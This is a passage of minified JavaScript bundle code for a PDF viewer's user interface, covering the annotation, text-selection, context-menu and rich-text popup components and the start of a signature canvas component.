n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function YL(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){ZL(i,r,o,a,l,"next",e)}function l(e){ZL(i,r,o,a,l,"throw",e)}a(void 0)}))}}function $L(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return KL(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return KL(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function KL(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var XL=function(){var e=$L(le((function(e){return[fi.isElementDisabled(e,"annotationPopup"),fi.isElementOpen(e,"annotationPopup"),fi.isElementDisabled(e,"notesPanel"),fi.isElementDisabled(e,"annotationStylePopup"),fi.getPopupItems(e,"annotationPopup"),fi.isElementOpen(e,"notesPanel"),fi.getIsMultiTab(e),fi.getTabManager(e),fi.getTabs(e)]}),N),9),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=e[5],u=e[6],c=e[7],f=e[8],d=re(),p=$L(Ks(),1)[0],h=$L(Object(l.useState)({left:0,top:0}),2),m=h[0],g=h[1],v=$L(Object(l.useState)(null),2),y=v[0],b=v[1],w=$L(Object(l.useState)(!1),2),E=w[0],S=w[1],C=$L(Object(l.useState)(!1),2),x=C[0],O=C[1],A=$L(Object(l.useState)(!1),2),_=A[0],T=A[1],k=$L(Object(l.useState)(!1),2),P=k[0],M=k[1],R=$L(Object(l.useState)(!1),2),j=R[0],L=R[1],I=$L(Object(l.useState)(!0),2),D=I[0],F=I[1],B=$L(Object(l.useState)(!1),2),H=B[0],V=B[1],z=Object(l.useRef)(),U=$L(Object(l.useState)(!1),2),G=U[0],W=U[1],q=$L(Object(l.useState)(!1),2),Z=q[0],Y=q[1],$=function(e){return vt.getAnnotationManager().getGroupAnnotations(e).filter((function(e){return e instanceof Annotations.Link}))};yp(z,(function(e){var t=document.querySelector('[data-element="notesPanel"]'),n=null==t?void 0:t.contains(e.target),r=document.querySelector('[data-element="datePickerContainer"]'),o=vb(),i=yb();n||o||i||r||d(Ps.closeElement("annotationPopup"))})),Object(l.useEffect)((function(){if(y){var e=$(y);F(!!e.length)}}),[y]),Object(l.useEffect)((function(){var e=function(){z.current&&i.length>0&&(g(jw(y,z)),d(Ps.openElement("annotationPopup")))};(y||_||j)&&e();var t=function(t){y&&(vt.getAnnotationByMouseEvent(t)===y&&e(),"fullPage"===y.redactionType&&_&&(T(!1),d(Ps.closeElement("annotationPopup"))))},n=function(t,n){vt.isAnnotationSelected(y)&&("modify"===n&&e(),t.some((function(e){return e instanceof Annotations.Link}))&&("add"===n&&F(!0),"delete"===n&&F(!1)))},r=function(){y&&O(vt.canModify(y))};return vt.addEventListener("mouseLeftUp",t),vt.addEventListener("annotationChanged",n),vt.addEventListener("updateAnnotationPermission",r),function(){vt.removeEventListener("mouseLeftUp",t),vt.removeEventListener("annotationChanged",n),vt.removeEventListener("updateAnnotationPermission",r)}}),[d,x,y,_,i,j,Z]),Object(l.useEffect)((function(){var e=function(){d(Ps.closeElement("annotationPopup")),g({left:0,top:0}),b(null),W(!1),O(!1),T(!1),M(!1)},t=function(t,n){if("selected"===n&&t.length&&t[0].ToolName!==window.Core.Tools.ToolNames.CROP)b(t[0]),S(t.length>1),W(t.some((function(e){return e.isFormFieldPlaceholder()}))),O(vt.canModify(t[0])),a&&setTimeout((function(){return d(Ps.openElement("annotationNoteConnectorLine"))}),300);else{var r=y&&t&&!t.includes(y);if("deselected"===n&&r)return;e()}},n=function(){y&&g(jw(y,z))};return vt.addEventListener("annotationSelected",t),vt.addEventListener("documentUnloaded",e),window.addEventListener("resize",n),function(){vt.removeEventListener("annotationSelected",t),vt.removeEventListener("documentUnloaded",e),window.removeEventListener("resize",n)}}),[d,a,y]);var K=Object(l.useCallback)(YL(regeneratorRuntime.mark((function e(){var t,n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(c&&u){e.next=2;break}return e.abrupt("return",console.warn("Can't open file in non-multi-tab mode"));case 2:if(t=y.getFileMetadata(),!(n=f.find((function(e){return e.options.filename===t.filename})))){e.next=8;break}return e.next=7,c.setActiveTab(n.id,!0);case 7:return e.abrupt("return",e.sent);case 8:return e.t0=c,e.next=11,y.getFileData();case 11:return e.t1=e.sent,e.t2={extension:window.Core.mimeTypeToExtension[t.mimeType],filename:t.filename,saveCurrentActiveTabState:!0,setActive:!0},e.next=15,e.t0.addTab.call(e.t0,e.t1,e.t2);case 15:case"end":return e.stop()}}),e)}))),[c,y,f,u]);if(t||!y)return null;var X=function(e){var t={};return["FillColor","StrokeColor","TextColor","Opacity","StrokeThickness","FontSize","Precision","Scale","Style"].forEach((function(n){var r=e[n];null!=r&&(t[n]=e[n])})),"highlight"!==e.elementName||vt.isBlendModeSupported(e.BlendMode)||(t.Opacity=null),e.isFormFieldPlaceholder()&&(t.Opacity=null),t}(y),Q=Object.keys(X).length>0,J=vt.isAnnotationRedactable(y),ee=vt.getSelectedAnnotations(),te=ee.find((function(e){return!e.InReplyTo})),ne=ee.length,oe=vt.getNumberOfGroups(ee),ie=oe>1,ae=1===oe&&ne>1,se=ne>1,ue=y instanceof window.Annotations.FreeTextAnnotation&&y.getDateFormat()&&vt.canModifyContents(y),ce=function(){return s.a.createElement("div",{className:"shortCuts3D"},s.a.createElement("div",{className:"closeButton",onClick:function(){return V(!1)}},"x"),s.a.createElement("div",{className:"row"},p("action.rotate3D")," ",s.a.createElement("span",null,p("shortcut.rotate3D"))),s.a.createElement("div",{className:"row"},p("action.zoom")," ",s.a.createElement("span",null,p("shortcut.zoom3D"))))},fe=window.Core.Tools.ToolNames,de=[fe.CROP,fe.RADIO_FORM_FIELD,fe.CHECK_BOX_FIELD],pe=[fe.CROP,fe.SIGNATURE,fe.REDACTION,fe.REDACTION2,fe.REDACTION3,fe.REDACTION4,fe.STICKY,fe.STICKY2,fe.STICKY3,fe.STICKY4],he=!(r||se||y.ToolName===fe.CROP||G||y.isContentEditPlaceholder()),me=x&&Q&&!o&&(!se||ae)&&!de.includes(y.ToolName)&&!(y instanceof Annotations.Model3DAnnotation)&&!y.isContentEditPlaceholder(),ge=J&&!se&&!G,ve=ie&&!G,ye=x&&y.Measure&&y instanceof Annotations.LineAnnotation,be=y instanceof window.Annotations.FileAttachmentAnnotation,we=!!lh("webviewerServerURL",null)?window.Core.SupportedFileFormats.SERVER:window.Core.SupportedFileFormats.CLIENT,Ee=y instanceof Annotations.FileAttachmentAnnotation&&u&&we.includes(window.Core.mimeTypeToExtension[y.getFileMetadata().mimeType]),Se=!kt&&!E&&y instanceof window.Annotations.SoundAnnotation&&y.hasAudioData(),Ce=!(pe.includes(y.ToolName)||G||y.isContentEditPlaceholder()||y instanceof Annotations.SoundAnnotation),xe=y instanceof Annotations.Model3DAnnotation&&!Ot(),Oe=s.a.createElement("div",{className:js()({Popup:!0,AnnotationPopup:!0,open:n,closed:!n,stylePopupOpen:_}),ref:z,"data-element":"annotationPopup",style:WL({},m)},_||P?_?s.a.createElement(kL,{annotation:y,style:X,isOpen:n,onResize:function(){Y(!Z)}}):s.a.createElement(RL,{onClick:function(e){vt.getAnnotationManager().setNoteContents(y,e),vt.getAnnotationManager().updateAnnotation(y)},annotation:y,onDatePickerShow:function(e){L(e)}}):H&&y instanceof Annotations.Model3DAnnotation?s.a.createElement(ce,null):s.a.createElement(BL,{dataElement:"annotationPopup"},Ee&&s.a.createElement(rd,{dataElement:"viewFileButton",img:"icon-view",title:"action.viewFile",onClick:K}),he&&s.a.createElement(rd,{dataElement:"annotationCommentButton",title:"action.comment",img:"icon-header-chat-line",onClick:function(){ue?M((function(e){return!e})):(d(Ps.openElement("notesPanel")),d(Ps.closeElement("searchPanel")),d(Ps.triggerNoteEditing()),d(Ps.closeElement("annotationPopup")))}}),me&&s.a.createElement(rd,{dataElement:"annotationStyleEditButton",title:"action.style",img:"icon-menu-style-line",onClick:function(){return T(!0)}}),y.isContentEditPlaceholder()&&y.getContentEditType()===window.Core.ContentEdit.Types.TEXT&&s.a.createElement(rd,{dataElement:"annotationContentEditButton",title:"action.edit",img:"ic_edit_page_24px",onClick:YL(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,instance.Core.ContentEdit.getDocumentContent(y);case 2:t=e.sent,d(Ps.setCurrentContentBeingEdited({content:t,annotation:y})),d(Ps.openElement("contentEditModal")),d(Ps.closeElement("annotationPopup"));case 6:case"end":return e.stop()}}),e)})))}),ge&&s.a.createElement(rd,{dataElement:"annotationRedactButton",title:"action.apply",img:"ic_check_black_24px",onClick:function(){d(VL(y)),d(Ps.closeElement("annotationPopup"))}}),ve&&s.a.createElement(rd,{dataElement:"annotationGroupButton",title:"action.group",img:"ic_group_24px",onClick:function(){return vt.groupAnnotations(te,ee)}}),ae&&s.a.createElement(rd,{dataElement:"annotationUngroupButton",title:"action.ungroup",img:"ic_ungroup_24px",onClick:function(){return vt.ungroupAnnotations(ee)}}),G&&s.a.createElement(rd,{title:"action.formFieldEdit",img:"icon-edit-form-field",onClick:function(){d(Ps.closeElement("annotationPopup")),d(Ps.openElement("formFieldEditPopup"))},dataElement:"formFieldEditButton"}),x&&s.a.createElement(rd,{dataElement:"annotationDeleteButton",title:"action.delete",img:"icon-delete-line",onClick:function(){vt.deleteAnnotations(vt.getSelectedAnnotations()),d(Ps.closeElement("annotationPopup"))}}),ye&&s.a.createElement(rd,{dataElement:"calibrateButton",title:"action.calibrate",img:"calibrate",onClick:function(){d(Ps.closeElement("annotationPopup")),d(Ps.openElement("calibrationModal"))}}),Ce&&s.a.createElement(rd,{title:"tool.Link",img:D?"icon-tool-unlink":"icon-tool-link",onClick:D?function(){var e=vt.getAnnotationManager();ee.forEach((function(t){$(t).forEach((function(n,r){e.ungroupAnnotations([n]),t instanceof Annotations.TextHighlightAnnotation&&0===t.Opacity&&0===r?e.deleteAnnotations([t,n],null,!0):e.deleteAnnotation(n,null,!0)}))})),d(Ps.closeElement("annotationPopup"))}:function(){return d(Ps.openElement("linkModal"))},dataElement:"linkButton"}),be&&s.a.createElement(rd,{title:"action.fileAttachmentDownload",img:"icon-download",onClick:function(){return e=y,void vt.getAnnotationManager().trigger("annotationDoubleClicked",e);var e},dataElement:"fileAttachmentDownload"}),xe&&s.a.createElement(rd,{title:"action.viewShortCutKeysFor3D",img:"icon-keyboard",onClick:function(){return V(!0)},dataElement:"shortCutKeysFor3D"}),Se&&s.a.createElement(rd,{title:"action.playAudio",img:"ic_play_24px",onClick:function(){return e=y,d(Ps.setActiveSoundAnnotation(e)),d(Ps.triggerResetAudioPlaybackPosition(!0)),void d(Ps.openElement("audioPlaybackPopup"));var e},dataElement:"playSoundButton"})));return kt||Ot()?Oe:s.a.createElement(ym.a,{cancel:".Button, .cell, .sliders-container svg, select, button, input"},Oe)};n(1066);function QL(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function JL(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?QL(Object(n),!0).forEach((function(t){eI(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):QL(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function eI(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function tI(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return nI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return nI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function nI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var rI=xm()((function(e){var t=e.t,n=(lh("pdfnet",!1),tI(le((function(e){return[fi.isElementDisabled(e,"textPopup"),fi.isElementOpen(e,"textPopup"),fi.getPopupItems(e,"textPopup")]}),N),3)),r=n[0],o=n[1],i=n[2],a=re(),u=tI(Object(l.useState)({left:0,top:0}),2),c=u[0],f=u[1],d=Object(l.useRef)();yp(d,(function(){a(Ps.closeElement("textPopup"))})),Object(l.useEffect)((function(){o&&a(Ps.closeElements(["annotationPopup","contextMenuPopup"]))}),[a,o]),Object(l.useEffect)((function(){var e=vt.getTool("TextSelect"),t=function(e,t){d.current&&i.length>0&&(f(function(e,t){var n=zw(Nw(e),Hw(t));return{left:n.left,top:n.top}}(t,d)),a(Ps.openElement("textPopup")))};return e.addEventListener("selectionComplete",t),function(){return e.removeEventListener("selectionComplete",t)}}),[a,i]);var p=Object(l.useCallback)((function(){return a(Ps.closeElement("textPopup"))}),[a]);return Tp(!r&&o,p,d),r?null:s.a.createElement("div",{className:js()({Popup:!0,TextPopup:!0,open:o,closed:!o}),"data-element":"textPopup",ref:d,style:JL({},c),onClick:p,role:"listbox","aria-label":t("component.textPopup")},s.a.createElement(BL,{dataElement:"textPopup"},s.a.createElement(rd,{dataElement:"copyTextButton",title:"action.copy",img:"ic_copy_black_24px",onClick:Su,role:"option"}),s.a.createElement(rd,{dataElement:"textHighlightToolButton",title:"annotation.highlight",img:"icon-tool-highlight",onClick:function(){return Mc(a,Annotations.TextHighlightAnnotation)},role:"option"}),s.a.createElement(rd,{dataElement:"textUnderlineToolButton",title:"annotation.underline",img:"icon-tool-text-manipulation-underline",onClick:function(){return Mc(a,Annotations.TextUnderlineAnnotation)},role:"option"}),s.a.createElement(rd,{dataElement:"textSquigglyToolButton",title:"annotation.squiggly",img:"icon-tool-text-manipulation-squiggly",onClick:function(){return Mc(a,Annotations.TextSquigglyAnnotation)},role:"option"}),s.a.createElement(rd,{title:"annotation.strikeout",img:"icon-tool-text-manipulation-strikethrough",onClick:function(){return Mc(a,Annotations.TextStrikeoutAnnotation)},dataElement:"textStrikeoutToolButton",role:"option"}),s.a.createElement(rd,{title:"tool.Link",img:"icon-tool-link",onClick:function(){return a(Ps.openElement("linkModal"))},dataElement:"linkButton",role:"option"}),vt.isCreateRedactionEnabled()&&s.a.createElement(rd,{dataElement:"textRedactToolButton",title:"option.redaction.markForRedaction",fillColor:"868E96",img:"icon-tool-select-area-redaction",onClick:function(){return Mc(a,Annotations.RedactionAnnotation)},role:"option"})))}));n(1067);function oI(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function iI(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?oI(Object(n),!0).forEach((function(t){aI(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):oI(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function aI(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function lI(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return sI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return sI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function sI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var uI=function(){var e=lI(le((function(e){return[fi.isElementOpen(e,"contextMenuPopup"),fi.isElementDisabled(e,"contextMenuPopup"),fi.getPopupItems(e,"contextMenuPopup")]}),N),3),t=e[0],n=e[1],r=e[2],o=re(),i=te(),a=lI(Object(l.useState)({left:0,top:0}),2),u=a[0],c=a[1],f=Object(l.useRef)();return yp(f,(function(){o(Ps.closeElement("contextMenuPopup"))})),Object(l.useEffect)((function(){t&&o(Ps.closeElements(["annotationPopup","textPopup"]))}),[o,t]),Object(l.useEffect)((function(){var e=function(e){var t=e.target.tagName,n="INPUT"===t,i="TEXTAREA"===t,a="ql-editor"===e.target.className||"ql-editor"===e.target.parentNode.className||"ql-editor"===e.target.parentNode.parentNode.className,l=document.querySelector(".DocumentContainer").contains(e.target);if(f.current&&l&&!(n||i||a)){e.preventDefault();var s=e.pageX,u=e.pageY,d=f.current.getBoundingClientRect(),p=d.width,h=d.height,m=document.querySelector(".DocumentContainer").getBoundingClientRect();s<m.left&&(s=m.left+2),s+p>m.right&&(s=m.right-p-2),u<m.top&&(u=m.top+2),u+h>m.bottom&&(u=m.bottom-h-2),r.length>0&&(c({left:s,top:u}),o(Ps.openElement("contextMenuPopup")))}};return document.addEventListener("contextmenu",e),function(){return document.removeEventListener("contextmenu",e)}}),[o,r]),n?null:s.a.createElement("div",{className:js()({Popup:!0,ContextMenuPopup:!0,open:t,closed:!t}),ref:f,"data-element":"contextMenuPopup",style:iI({},u),onClick:function(){return o(Ps.closeElement("contextMenuPopup"))}},s.a.createElement(BL,{dataElement:"contextMenuPopup"},s.a.createElement(rd,{dataElement:"panToolButton",title:"tool.pan",img:"icon-header-pan",onClick:function(){return xu(i,"Pan")}}),s.a.createElement(rd,{dataElement:"stickyToolButton",title:"annotation.stickyNote",img:"icon-tool-comment-line",onClick:function(){return xu(i,"AnnotationCreateSticky")}}),s.a.createElement(rd,{dataElement:"highlightToolButton",title:"annotation.highlight",img:"icon-tool-highlight",onClick:function(){return xu(i,"AnnotationCreateTextHighlight")}}),s.a.createElement(rd,{dataElement:"freeHandToolButton",title:"annotation.freehand",img:"icon-tool-pen-line",onClick:function(){return xu(i,"AnnotationCreateFreeHand")}}),s.a.createElement(rd,{dataElement:"freeHandHighlightToolButton",title:"annotation.freeHandHighlight",img:"icon-tool-pen-highlight",onClick:function(){return xu(i,"AnnotationCreateFreeHandHighlight")}}),s.a.createElement(rd,{dataElement:"freeTextToolButton",title:"annotation.freetext",img:"icon-tool-text-free-text",onClick:function(){return xu(i,"AnnotationCreateFreeText")}})))},cI=function(e,t){if(t&&t.current){var n=document.querySelector("#pageWidgetContainer".concat(e.PageNumber,' [id="freetext-editor-').concat(e.Id,'"]')),r=vt.getScrollViewElement(),o=2*parseFloat(e.StrokeThickness)*vt.getZoom(),i=n.getBoundingClientRect(),a={topLeft:{x:i.left+r.scrollLeft-o,y:i.top+r.scrollTop-o},bottomRight:{x:i.right+r.scrollLeft+o,y:i.bottom+r.scrollTop+o}},l=t.current.getBoundingClientRect();return{left:Uw(a,l),top:Gw(a,l)}}},fI=(n(1068),["+","−","×","÷","=","≠","±","¬","<",">","⋜","⋝","°","¹","²","³","ƒ","%","‰","‱","∀","∁","∂","∃","∄","∅","∆","∇","∈","∉","∊","∋","∌","∍","∎","∏","∐","∑","∓","∔","∕","∖","∗","∘","∙","√","∛","∜","∝","∞","∟","∠","∡","∢","∣","∤","∥","∦","∧","∨","∩","∪","∫","∬","∭","∮","∯","∰","∱","∲","∳","∴","∵","∶","∷","∸","∹","∺","∻","∼","∽","∾","∿","≀","≁","≂","≃","≄","≅","≆","≇","≈","≉","≊","≋","≌"]),dI=function(e){var t=e.onClickHandler,n=e.maxHeight;return s.a.createElement("div",{className:"mathSymbolsContainer padding",style:{maxHeight:n+"px"}},fI.map((function(e,n){return s.a.createElement("button",{key:n,className:"cell-container",onClick:function(){t(e)}},e)})))};n(1069);function pI(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function hI(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?pI(Object(n),!0).forEach((function(t){mI(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pI(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function mI(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function gI(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return vI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return vI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function vI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var yI=function(){var e=gI(le((function(e){return[fi.isElementDisabled(e,"richTextPopup"),fi.isElementOpen(e,"richTextPopup"),fi.isElementDisabled(e,"colorPalette"),fi.getCustomColors(e,"customColors"),fi.isInDesktopOnlyMode(e)]}),N),5),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=gI(Object(l.useState)(!1),2),u=a[0],c=a[1],f=gI(Object(l.useState)({left:0,top:0}),2),d=f[0],p=f[1],h=gI(Object(l.useState)({x:0,y:0}),2),m=h[0],g=h[1],v=gI(Object(l.useState)({}),2),y=v[0],b=v[1],w=Object(l.useRef)(null),E=Object(l.useRef)(null),S=Object(l.useRef)(null),C=re();Object(l.useEffect)((function(){var e=function(e){e&&E.current&&b(x(e))};return vt.addEventListener("editorSelectionChanged",e),function(){return vt.removeEventListener("editorSelectionChanged",e)}}),[]),Object(l.useEffect)((function(){var e=function(){var e,t;if(null!==(e=S.current)&&void 0!==e&&e.isAutoSized()&&w.current){var n=cI(S.current,w);p(n)}b(x(null===(t=E.current)||void 0===t?void 0:t.getSelection()))};return vt.addEventListener("editorTextChanged",e),function(){return vt.removeEventListener("editorTextChanged",e)}}),[]),Object(l.useEffect)((function(){var e=function(e,t){if(t instanceof window.Annotations.FreeTextAnnotation&&w.current){var n=cI(t,w);p(n),g({x:0,y:0}),E.current=e,S.current=t,C(Ps.openElements(["richTextPopup"]))}};return vt.addEventListener("editorFocus",e),function(){return vt.removeEventListener("editorFocus",e)}}),[C]),Object(l.useEffect)((function(){var e=function(){C(Ps.closeElements(["richTextPopup"])),E.current=null,S.current=null};return vt.addEventListener("editorBlur",e),function(){return vt.removeEventListener("editorBlur",e)}}),[C]),Object(l.useEffect)((function(){if(w.current&&S.current){var e=cI(S.current,w);p(e)}}),[u]);var x=function(e){if(!e)return{};var t=E.current.getFormat(e.index,e.length);return"string"==typeof t.color?t.color=new window.Annotations.Color(t.color):Array.isArray(t.color)?t.color=null:t.color||(t.color=S.current.TextColor),t},O=function(e){return function(){var t=E.current.getSelection(),n=t.index,r=t.length,o=E.current.getFormat(n,r);_(e,!o[e])}},A=function(e,t){_("color",t.toHexString())},_=function(e,t){var n;null===(n=E.current)||void 0===n||n.format(e,t),"color"===e&&(t=new window.Annotations.Color(t)),b(hI(hI({},y),{},mI({},e,t)))},T=function(e,t){var n=t.x,r=t.y;g({x:n,y:r})};return t||Ot()&&!i?null:s.a.createElement(ym.a,{position:m,onDrag:T,onStop:T,enableUserSelectHack:!1,cancel:".Button, .cell, .mathSymbolsContainer",onMouseDown:function(e){"touchstart"!==e.type&&e.preventDefault()}},s.a.createElement("div",{className:js()({Popup:!0,RichTextPopup:!0,open:n,closed:!n}),ref:w,"data-element":"richTextPopup",style:hI({},d)},s.a.createElement(iS,{className:"rich-text-format",dataElement:"richTextFormats"},s.a.createElement(bf,{isActive:y.bold,dataElement:"richTextBoldButton",onClick:O("bold"),img:"icon-text-bold",title:"option.richText.bold"}),s.a.createElement(bf,{isActive:y.italic,dataElement:"richTextItalicButton",onClick:O("italic"),img:"icon-text-italic",title:"option.richText.italic"}),s.a.createElement(bf,{isActive:y.underline,dataElement:"richTextUnderlineButton",onClick:O("underline"),img:"ic_annotation_underline_black_24px",title:"option.richText.underline"}),s.a.createElement(bf,{isActive:y.strike,dataElement:"richTextStrikeButton",onClick:O("strike"),img:"ic_annotation_strikeout_black_24px",title:"option.richText.strikeout"}),s.a.createElement(bf,{dataElement:"mathSymbolsButton",onClick:function(){c(!u)},img:"ic_thumbnails_grid_black_24px",title:"option.mathSymbols"})),s.a.createElement(Pg,{style:{paddingTop:0}}),!r&&s.a.createElement(s.a.Fragment,null,s.a.createElement(Xg,{colorMapKey:"freeText",color:y.color,property:"TextColor",onStyleChange:A,hasPadding:!0}),o.length>0&&s.a.createElement(dv,{color:y.color,property:"TextColor",onStyleChange:A,enableEdit:!1})),u&&s.a.createElement(dI,{onClickHandler:function(e){var t=E.current.getSelection(),n=t.index,r=t.length;r>0&&E.current.deleteText(n,r),E.current.insertText(n,e),E.current.setSelection(n+1)},maxHeight:150})))};n(1070);function bI(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function wI(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){bI(i,r,o,a,l,"next",e)}function l(e){bI(i,r,o,a,l,"throw",e)}a(void 0)}))}}function EI(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return SI(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return SI(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function SI(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var CI={isModalOpen:Is.a.bool,_setSaveSignature:Is.a.func,isTabPanelSelected:Is.a.bool,disableCreateButton:Is.a.func,enableCreateButton:Is.a.func},xI=function(e){var t,n=e.isModalOpen,r=e.isTabPanelSelected,o=e.disableCreateButton,i=e.enableCreateButton,a=Object(l.useRef)(),u=Object(l.useRef)(),c=Object(l.useRef)(),f=EI(Ks(),1)[0],d=EI(Object(l.useState)({}),2),p=d[0],h=d[1],m=EI(Object(l.useState)(!1),2),g=m[0],v=m[1],y=(t=EI(Object(l.useState)(!1),2)[1],function(){return t((function(e){return!e}))});Object(l.useEffect)((function(){var e=vt.getTool("AnnotationCreateSignature"),t=a.current;e.setSignatureCanvas(t);var n=window.Core.getCanvasMultiplier();t.getContext("2d").scale(n,n)}),[]),Object(l.useEffect)((function(){n&&b()}),[n]),Object(l.useEffect)((function(){function e(){return(e=wI(regeneratorRuntime.mark((function e(){var 